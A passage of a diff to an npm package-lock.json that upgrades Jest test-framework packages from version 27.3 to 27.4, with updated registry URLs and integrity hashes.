"jest-changed-files": { - "version": "27.3.0", - "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.3.0.tgz", - "integrity": "sha512-9DJs9garMHv4RhylUMZgbdCJ3+jHSkpL9aaVKp13xtXAD80qLTLrqcDZL1PHA9dYA0bCI86Nv2BhkLpLhrBcPg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.4.2.tgz", + "integrity": "sha512-/9x8MjekuzUQoPjDHbBiXbNEBauhrPU2ct7m8TfCg69ywt1y/N+yYwGh3gCpnqUS3klYWDU/lSNgv+JhoD2k1A==", "dev": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "execa": "^5.0.0", "throat": "^6.0.1" } }, "jest-circus": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.3.1.tgz", - "integrity": "sha512-v1dsM9II6gvXokgqq6Yh2jHCpfg7ZqV4jWY66u7npz24JnhP3NHxI0sKT7+ZMQ7IrOWHYAaeEllOySbDbWsiXw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.4.2.tgz", + "integrity": "sha512-2ePUSru1BGMyzxsMvRfu+tNb+PW60rUyMLJBfw1Nrh5zC8RoTPfF+zbE0JToU31a6ZVe4nnrNKWYRzlghAbL0A==", "dev": true, "requires": { - "@jest/environment": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/environment": "^27.4.2", + "@jest/test-result": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "co": "^4.6.0", "dedent": "^0.7.0", - "expect": "^27.3.1", + "expect": "^27.4.2", "is-generator-fn": "^2.0.0", - "jest-each": "^27.3.1", - "jest-matcher-utils": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-runtime": "^27.3.1", - "jest-snapshot": "^27.3.1", - "jest-util": "^27.3.1", - "pretty-format": "^27.3.1", + "jest-each": "^27.4.2", + "jest-matcher-utils": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-runtime": "^27.4.2", + "jest-snapshot": "^27.4.2", + "jest-util": "^27.4.2", + "pretty-format": "^27.4.2", "slash": "^3.0.0", "stack-utils": "^2.0.3", "throat": "^6.0.1" @@ -31723,52 +31854,61 @@ } }, "jest-cli": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.3.1.tgz", - "integrity": "sha512-WHnCqpfK+6EvT62me6WVs8NhtbjAS4/6vZJnk7/2+oOr50cwAzG4Wxt6RXX0hu6m1169ZGMlhYYUNeKBXCph/Q==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.4.3.tgz", + "integrity": "sha512-zZSJBXNC/i8UnJPwcKWsqnhGgIF3uoTYP7th32Zej7KNQJdxzOMj+wCfy2Ox3kU7nXErJ36DtYyXDhfiqaiDRw==", "dev": true, "requires": { - "@jest/core": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/core": "^27.4.3", + "@jest/test-result": "^27.4.2", + "@jest/types": "^27.4.2", "chalk": "^4.0.0", "exit": "^0.1.2", "graceful-fs": "^4.2.4", "import-local": "^3.0.2", - "jest-config": "^27.3.1", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", + "jest-config": "^27.4.3", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", "prompts": "^2.0.1", "yargs": "^16.2.0" } }, "jest-config": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.3.1.tgz", - "integrity": "sha512-KY8xOIbIACZ/vdYCKSopL44I0xboxC751IX+DXL2+Wx6DKNycyEfV3rryC3BPm5Uq/BBqDoMrKuqLEUNJmMKKg==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.4.3.tgz", + "integrity": "sha512-DQ10HTSqYtC2pO7s9j2jw+li4xUnm2wLYWH2o7K1ftB8NyvToHsXoLlXxtsGh3AW9gUQR6KY/4B7G+T/NswJBw==", "dev": true, "requires": { "@babel/core": "^7.1.0", - "@jest/test-sequencer": "^27.3.1", - "@jest/types": "^27.2.5", - "babel-jest": "^27.3.1", + "@jest/test-sequencer": "^27.4.2", + "@jest/types": "^27.4.2", + "babel-jest": "^27.4.2", "chalk": "^4.0.0", "ci-info": "^3.2.0", "deepmerge": "^4.2.2", "glob": "^7.1.1", "graceful-fs": "^4.2.4", - "jest-circus": "^27.3.1", - "jest-environment-jsdom": "^27.3.1", - "jest-environment-node": "^27.3.1", - "jest-get-type": "^27.3.1", - "jest-jasmine2": "^27.3.1", - "jest-regex-util": "^27.0.6", - "jest-resolve": "^27.3.1", - "jest-runner": "^27.3.1", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", + "jest-circus": "^27.4.2", + "jest-environment-jsdom": "^27.4.3", + "jest-environment-node": "^27.4.2", + "jest-get-type": "^27.4.0", + "jest-jasmine2": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-resolve": "^27.4.2", + "jest-runner": "^27.4.3", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", "micromatch": "^4.0.4", - "pretty-format": "^27.3.1" + "pretty-format": "^27.4.2", + "slash": "^3.0.0" + }, + "dependencies": { + "slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true + } } }, "jest-dev-server": { @@ -31787,66 +31927,66 @@ } }, "jest-diff": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.3.1.tgz", - "integrity": "sha512-PCeuAH4AWUo2O5+ksW4pL9v5xJAcIKPUPfIhZBcG1RKv/0+dvaWTQK1Nrau8d67dp65fOqbeMdoil+6PedyEPQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.4.2.tgz", + "integrity": "sha512-ujc9ToyUZDh9KcqvQDkk/gkbf6zSaeEg9AiBxtttXW59H/AcqEYp1ciXAtJp+jXWva5nAf/ePtSsgWwE5mqp4Q==", "dev": true, "requires": { "chalk": "^4.0.0", - "diff-sequences": "^27.0.6", - "jest-get-type": "^27.3.1", - "pretty-format": "^27.3.1" + "diff-sequences": "^27.4.0", + "jest-get-type": "^27.4.0", + "pretty-format": "^27.4.2" } }, "jest-docblock": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.0.6.tgz", - "integrity": "sha512-Fid6dPcjwepTFraz0YxIMCi7dejjJ/KL9FBjPYhBp4Sv1Y9PdhImlKZqYU555BlN4TQKaTc+F2Av1z+anVyGkA==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.4.0.tgz", + "integrity": "sha512-7TBazUdCKGV7svZ+gh7C8esAnweJoG+SvcF6Cjqj4l17zA2q1cMwx2JObSioubk317H+cjcHgP+7fTs60paulg==", "dev": true, "requires": { "detect-newline": "^3.0.0" } }, "jest-each": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.3.1.tgz", - "integrity": "sha512-E4SwfzKJWYcvOYCjOxhZcxwL+AY0uFMvdCOwvzgutJiaiodFjkxQQDxHm8FQBeTqDnSmKsQWn7ldMRzTn2zJaQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.4.2.tgz", + "integrity": "sha512-53V2MNyW28CTruB3lXaHNk6PkiIFuzdOC9gR3C6j8YE/ACfrPnz+slB0s17AgU1TtxNzLuHyvNlLJ+8QYw9nBg==", "dev": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "chalk": "^4.0.0", - "jest-get-type": "^27.3.1", - "jest-util": "^27.3.1", - "pretty-format": "^27.3.1" + "jest-get-type": "^27.4.0", + "jest-util": "^27.4.2", + "pretty-format": "^27.4.2" } }, "jest-environment-jsdom": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.3.1.tgz", - "integrity": "sha512-3MOy8qMzIkQlfb3W1TfrD7uZHj+xx8Olix5vMENkj5djPmRqndMaXtpnaZkxmxM+Qc3lo+yVzJjzuXbCcZjAlg==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.4.3.tgz", + "integrity": "sha512-x1AUVz3G14LpEJs7KIFUaTINT2n0unOUmvdAby3s/sldUpJJetOJifHo1O/EUQC5fNBowggwJbVulko18y6OWw==", "dev": true, "requires": { - "@jest/environment": "^27.3.1", - "@jest/fake-timers": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/environment": "^27.4.2", + "@jest/fake-timers": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", - "jest-mock": "^27.3.0", - "jest-util": "^27.3.1", + "jest-mock": "^27.4.2", + "jest-util": "^27.4.2", "jsdom": "^16.6.0" } }, "jest-environment-node": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.3.1.tgz", - "integrity": "sha512-T89F/FgkE8waqrTSA7/ydMkcc52uYPgZZ6q8OaZgyiZkJb5QNNCF6oPZjH9IfPFfcc9uBWh1574N0kY0pSvTXw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.4.2.tgz", + "integrity": "sha512-nzTZ5nJ+FabuZPH2YVci7SZIHpvtNRHPt8+vipLkCnAgXGjVzHm7XJWdnNqXbAkExIgiKeVEkVMNZOZE/LeiIg==", "devOptional": true, "requires": { - "@jest/environment": "^27.3.1", - "@jest/fake-timers": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/environment": "^27.4.2", + "@jest/fake-timers": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", - "jest-mock": "^27.3.0", - "jest-util": "^27.3.1" + "jest-mock": "^27.4.2", + "jest-util": "^27.4.2" } }, "jest-environment-puppeteer": { @@ -31863,9 +32003,9 @@ } }, "jest-get-type": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.3.1.tgz", - "integrity": "sha512-+Ilqi8hgHSAdhlQ3s12CAVNd8H96ZkQBfYoXmArzZnOfAtVAJEiPDBirjByEblvG/4LPJmkL+nBqPO3A1YJAEg==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.4.0.tgz", + "integrity": "sha512-tk9o+ld5TWq41DkK14L4wox4s2D9MtTpKaAVzXfr5CUKm5ZK2ExcaFE0qls2W71zE/6R2TxxrK9w2r6svAFDBQ==", "dev": true }, "jest-github-actions-reporter": { @@ -31878,87 +32018,87 @@ } }, "jest-haste-map": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.3.1.tgz", - "integrity": "sha512-lYfNZIzwPccDJZIyk9Iz5iQMM/MH56NIIcGj7AFU1YyA4ewWFBl8z+YPJuSCRML/ee2cCt2y3W4K3VXPT6Nhzg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.4.2.tgz", + "integrity": "sha512-foiyAEePORUN2eeJnOtcM1y8qW0ShEd9kTjWVL4sVaMcuCJM6gtHegvYPBRT0mpI/bs4ueThM90+Eoj2ncoNsA==", "dev": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/graceful-fs": "^4.1.2", "@types/node": "*", "anymatch": "^3.0.3", "fb-watchman": "^2.0.0", "fsevents": "^2.3.2", "graceful-fs": "^4.2.4", - "jest-regex-util": "^27.0.6", - "jest-serializer": "^27.0.6", - "jest-util": "^27.3.1", - "jest-worker": "^27.3.1", + "jest-regex-util": "^27.4.0", + "jest-serializer": "^27.4.0", + "jest-util": "^27.4.2", + "jest-worker": "^27.4.2", "micromatch": "^4.0.4", "walker": "^1.0.7" } }, "jest-jasmine2": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.3.1.tgz", - "integrity": "sha512-WK11ZUetDQaC09w4/j7o4FZDUIp+4iYWH/Lik34Pv7ukL+DuXFGdnmmi7dT58J2ZYKFB5r13GyE0z3NPeyJmsg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.4.2.tgz", + "integrity": "sha512-VO/fyAJSH9u0THjbteFiL8qc93ufU+yW+bdieDc8tzTCWwlWzO53UHS5nFK1qmE8izb5Smkn+XHlVt6/l06MKQ==", "dev": true, "requires": { "@babel/traverse": "^7.1.0", - "@jest/environment": "^27.3.1", - "@jest/source-map": "^27.0.6", - "@jest/test-result": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/environment": "^27.4.2", + "@jest/source-map": "^27.4.0", + "@jest/test-result": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "co": "^4.6.0", - "expect": "^27.3.1", + "expect": "^27.4.2", "is-generator-fn": "^2.0.0", - "jest-each": "^27.3.1", - "jest-matcher-utils": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-runtime": "^27.3.1", - "jest-snapshot": "^27.3.1", - "jest-util": "^27.3.1", - "pretty-format": "^27.3.1", + "jest-each": "^27.4.2", + "jest-matcher-utils": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-runtime": "^27.4.2", + "jest-snapshot": "^27.4.2", + "jest-util": "^27.4.2", + "pretty-format": "^27.4.2", "throat": "^6.0.1" } }, "jest-leak-detector": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.3.1.tgz", - "integrity": "sha512-78QstU9tXbaHzwlRlKmTpjP9k4Pvre5l0r8Spo4SbFFVy/4Abg9I6ZjHwjg2QyKEAMg020XcjP+UgLZIY50yEg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.4.2.tgz", + "integrity": "sha512-ml0KvFYZllzPBJWDei3mDzUhyp/M4ubKebX++fPaudpe8OsxUE+m+P6ciVLboQsrzOCWDjE20/eXew9QMx/VGw==", "dev": true, "requires": { - "jest-get-type": "^27.3.1", - "pretty-format": "^27.3.1" + "jest-get-type": "^27.4.0", + "pretty-format": "^27.4.2" } }, "jest-matcher-utils": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.3.1.tgz", - "integrity": "sha512-hX8N7zXS4k+8bC1Aj0OWpGb7D3gIXxYvPNK1inP5xvE4ztbz3rc4AkI6jGVaerepBnfWB17FL5lWFJT3s7qo8w==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.4.2.tgz", + "integrity": "sha512-jyP28er3RRtMv+fmYC/PKG8wvAmfGcSNproVTW2Y0P/OY7/hWUOmsPfxN1jOhM+0u2xU984u2yEagGivz9OBGQ==", "dev": true, "requires": { "chalk": "^4.0.0", - "jest-diff": "^27.3.1", - "jest-get-type": "^27.3.1", - "pretty-format": "^27.3.1" + "jest-diff": "^27.4.2", + "jest-get-type": "^27.4.0", + "pretty-format": "^27.4.2" } }, "jest-message-util": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.3.1.tgz", - "integrity": "sha512-bh3JEmxsTZ/9rTm0jQrPElbY2+y48Rw2t47uMfByNyUVR+OfPh4anuyKsGqsNkXk/TI4JbLRZx+7p7Hdt6q1yg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.4.2.tgz", + "integrity": "sha512-OMRqRNd9E0DkBLZpFtZkAGYOXl6ZpoMtQJWTAREJKDOFa0M6ptB7L67tp+cszMBkvSgKOhNtQp2Vbcz3ZZKo/w==", "devOptional": true, "requires": { "@babel/code-frame": "^7.12.13", - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.4", "micromatch": "^4.0.4", - "pretty-format": "^27.3.1", + "pretty-format": "^27.4.2", "slash": "^3.0.0", "stack-utils": "^2.0.3" }, @@ -31972,12 +32112,12 @@ } }, "jest-mock": { - "version": "27.3.0", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.3.0.tgz", - "integrity": "sha512-ziZiLk0elZOQjD08bLkegBzv5hCABu/c8Ytx45nJKkysQwGaonvmTxwjLqEA4qGdasq9o2I8/HtdGMNnVsMTGw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.4.2.tgz", + "integrity": "sha512-PDDPuyhoukk20JrQKeofK12hqtSka7mWH0QQuxSNgrdiPsrnYYLS6wbzu/HDlxZRzji5ylLRULeuI/vmZZDrYA==", "devOptional": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/node": "*" } }, @@ -31999,24 +32139,24 @@ } }, "jest-regex-util": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.0.6.tgz", - "integrity": "sha512-SUhPzBsGa1IKm8hx2F4NfTGGp+r7BXJ4CulsZ1k2kI+mGLG+lxGrs76veN2LF/aUdGosJBzKgXmNCw+BzFqBDQ==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.4.0.tgz", + "integrity": "sha512-WeCpMpNnqJYMQoOjm1nTtsgbR4XHAk1u00qDoNBQoykM280+/TmgA5Qh5giC1ecy6a5d4hbSsHzpBtu5yvlbEg==", "dev": true }, "jest-resolve": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.3.1.tgz", - "integrity": "sha512-Dfzt25CFSPo3Y3GCbxynRBZzxq9AdyNN+x/v2IqYx6KVT5Z6me2Z/PsSGFSv3cOSUZqJ9pHxilao/I/m9FouLw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.4.2.tgz", + "integrity": "sha512-d/zqPjxCzMqHlOdRTg8cTpO9jY+1/T74KazT8Ws/LwmwxV5sRMWOkiLjmzUCDj/5IqA5XHNK4Hkmlq9Kdpb9Sg==", "dev": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "chalk": "^4.0.0", "graceful-fs": "^4.2.4", - "jest-haste-map": "^27.3.1", + "jest-haste-map": "^27.4.2", "jest-pnp-resolver": "^1.2.2", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", "resolve": "^1.20.0", "resolve.exports": "^1.1.0", "slash": "^3.0.0" @@ -32031,59 +32171,59 @@ } }, "jest-resolve-dependencies": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.3.1.tgz", - "integrity": "sha512-X7iLzY8pCiYOnvYo2YrK3P9oSE8/3N2f4pUZMJ8IUcZnT81vlSonya1KTO9ZfKGuC+svE6FHK/XOb8SsoRUV1A==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.4.2.tgz", + "integrity": "sha512-hb++cTpqvOWfU49MCP/JQkxmnrhKoAVqXWFjgYXswRSVGk8Q6bDTSvhbCeYXDtXaymY0y7WrrSIlKogClcKJuw==", "dev": true, "requires": { - "@jest/types": "^27.2.5", - "jest-regex-util": "^27.0.6", - "jest-snapshot": "^27.3.1" + "@jest/types": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-snapshot": "^27.4.2" } }, "jest-runner": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.3.1.tgz", - "integrity": "sha512-r4W6kBn6sPr3TBwQNmqE94mPlYVn7fLBseeJfo4E2uCTmAyDFm2O5DYAQAFP7Q3YfiA/bMwg8TVsciP7k0xOww==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.4.3.tgz", + "integrity": "sha512-JgR6Om/j22Fd6ZUUIGTWNcCtuZVYbNrecb4k89W4UyFJoRtHpo2zMKWkmFFFJoqwWGrfrcPLnVBIgkJiTV3cyA==", "dev": true, "requires": { - "@jest/console": "^27.3.1", - "@jest/environment": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/environment": "^27.4.2", + "@jest/test-result": "^27.4.2", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "emittery": "^0.8.1", "exit": "^0.1.2", "graceful-fs": "^4.2.4", - "jest-docblock": "^27.0.6", - "jest-environment-jsdom": "^27.3.1", - "jest-environment-node": "^27.3.1", - "jest-haste-map": "^27.3.1", - "jest-leak-detector": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-resolve": "^27.3.1", - "jest-runtime": "^27.3.1", - "jest-util": "^27.3.1", - "jest-worker": "^27.3.1", + "jest-docblock": "^27.4.0", + "jest-environment-jsdom": "^27.4.3", + "jest-environment-node": "^27.4.2", + "jest-haste-map": "^27.4.2", + "jest-leak-detector": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-resolve": "^27.4.2", + "jest-runtime": "^27.4.2", + "jest-util": "^27.4.2", + "jest-worker": "^27.4.2", "source-map-support": "^0.5.6", "throat": "^6.0.1" } }, "jest-runtime": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.3.1.tgz", - "integrity": "sha512-qtO6VxPbS8umqhEDpjA4pqTkKQ1Hy4ZSi9mDVeE9Za7LKBo2LdW2jmT+Iod3XFaJqINikZQsn2wEi0j9wPRbLg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.4.2.tgz", + "integrity": "sha512-eqPgcBaUNaw6j8T5M+dnfAEh6MIrh2YmtskCr9sl50QYpD22Sg+QqHw3J3nmaLzVMbBtOMHFFxLF0Qx8MsZVFQ==", "dev": true, "requires": { - "@jest/console": "^27.3.1", - "@jest/environment": "^27.3.1", - "@jest/globals": "^27.3.1", - "@jest/source-map": "^27.0.6", - "@jest/test-result": "^27.3.1", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/environment": "^27.4.2", + "@jest/globals": "^27.4.2", + "@jest/source-map": "^27.4.0", + "@jest/test-result": "^27.4.2", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/yargs": "^16.0.0", "chalk": "^4.0.0", "cjs-module-lexer": "^1.0.0", @@ -32092,14 +32232,14 @@ "exit": "^0.1.2", "glob": "^7.1.3", "graceful-fs": "^4.2.4", - "jest-haste-map": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-mock": "^27.3.0", - "jest-regex-util": "^27.0.6", - "jest-resolve": "^27.3.1", - "jest-snapshot": "^27.3.1", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", + "jest-haste-map": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-mock": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-resolve": "^27.4.2", + "jest-snapshot": "^27.4.2", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", "slash": "^3.0.0", "strip-bom": "^4.0.0", "yargs": "^16.2.0" @@ -32114,9 +32254,9 @@ } }, "jest-serializer": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.0.6.tgz", - "integrity": "sha512-PtGdVK9EGC7dsaziskfqaAPib6wTViY3G8E5wz9tLVPhHyiDNTZn/xjZ4khAw+09QkoOVpn7vF5nPSN6dtBexA==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.4.0.tgz", + "integrity": "sha512-RDhpcn5f1JYTX2pvJAGDcnsNTnsV9bjYPU8xcV+xPwOXnUPOQwf4ZEuiU6G9H1UztH+OapMgu/ckEVwO87PwnQ==", "dev": true, "requires": { "@types/node": "*", @@ -32130,9 +32270,9 @@ "dev": true }, "jest-snapshot": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.3.1.tgz", - "integrity": "sha512-APZyBvSgQgOT0XumwfFu7X3G5elj6TGhCBLbBdn3R1IzYustPGPE38F51dBWMQ8hRXa9je0vAdeVDtqHLvB6lg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.4.2.tgz", + "integrity": "sha512-DI7lJlNIu6WSQ+esqhnJzEzU70+dV+cNjoF1c+j5FagWEd3KtOyZvVliAH0RWNQ6KSnAAnKSU0qxJ8UXOOhuUQ==", "dev": true, "requires": { "@babel/core": "^7.7.2", @@ -32141,33 +32281,33 @@ "@babel/plugin-syntax-typescript": "^7.7.2", "@babel/traverse": "^7.7.2", "@babel/types": "^7.0.0", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/babel__traverse": "^7.0.4", "@types/prettier": "^2.1.5", "babel-preset-current-node-syntax": "^1.0.0", "chalk": "^4.0.0", - "expect": "^27.3.1", + "expect": "^27.4.2", "graceful-fs": "^4.2.4", - "jest-diff": "^27.3.1", - "jest-get-type": "^27.3.1", - "jest-haste-map": "^27.3.1", - "jest-matcher-utils": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-resolve": "^27.3.1", - "jest-util": "^27.3.1", + "jest-diff": "^27.4.2", + "jest-get-type": "^27.4.0", + "jest-haste-map": "^27.4.2", + "jest-matcher-utils": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-resolve": "^27.4.2", + "jest-util": "^27.4.2", "natural-compare": "^1.4.0", - "pretty-format": "^27.3.1", + "pretty-format": "^27.4.2", "semver": "^7.3.2" } }, "jest-util": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.3.1.tgz", - "integrity": "sha512-8fg+ifEH3GDryLQf/eKZck1DEs2YuVPBCMOaHQxVVLmQwl/CDhWzrvChTX4efLZxGrw+AA0mSXv78cyytBt/uw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.4.2.tgz", + "integrity": "sha512-YuxxpXU6nlMan9qyLuxHaMMOzXAl5aGZWCSzben5DhLHemYQxCc4YK+4L3ZrCutT8GPQ+ui9k5D8rUJoDioMnA==", "devOptional": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", @@ -32176,46 +32316,46 @@ } }, "jest-validate": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.3.1.tgz", - "integrity": "sha512-3H0XCHDFLA9uDII67Bwi1Vy7AqwA5HqEEjyy934lgVhtJ3eisw6ShOF1MDmRPspyikef5MyExvIm0/TuLzZ86Q==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.4.2.tgz", + "integrity": "sha512-hWYsSUej+Fs8ZhOm5vhWzwSLmVaPAxRy+Mr+z5MzeaHm9AxUpXdoVMEW4R86y5gOobVfBsMFLk4Rb+QkiEpx1A==", "dev": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "camelcase": "^6.2.0", "chalk": "^4.0.0", - "jest-get-type": "^27.3.1", + "jest-get-type": "^27.4.0", "leven": "^3.1.0", - "pretty-format": "^27.3.1" + "pretty-format": "^27.4.2" }, "dependencies": { "camelcase": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", - "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.1.tgz", + "integrity": "sha512-tVI4q5jjFV5CavAU8DXfza/TJcZutVKo/5Foskmsqcm0MsL91moHvwiGNnqaa2o6PF/7yT5ikDRcVcl8Rj6LCA==", "dev": true } } }, "jest-watcher": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.3.1.tgz", - "integrity": "sha512-9/xbV6chABsGHWh9yPaAGYVVKurWoP3ZMCv6h+O1v9/+pkOroigs6WzZ0e9gLP/njokUwM7yQhr01LKJVMkaZA==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.4.2.tgz", + "integrity": "sha512-NJvMVyyBeXfDezhWzUOCOYZrUmkSCiatpjpm+nFUid74OZEHk6aMLrZAukIiFDwdbqp6mTM6Ui1w4oc+8EobQg==", "dev": true, "requires": { - "@jest/test-result": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/test-result": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "ansi-escapes": "^4.2.1", "chalk": "^4.0.0", - "jest-util": "^27.3.1", + "jest-util": "^27.4.2", "string-length": "^4.0.1" } }, "jest-worker": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.3.1.tgz", - "integrity": 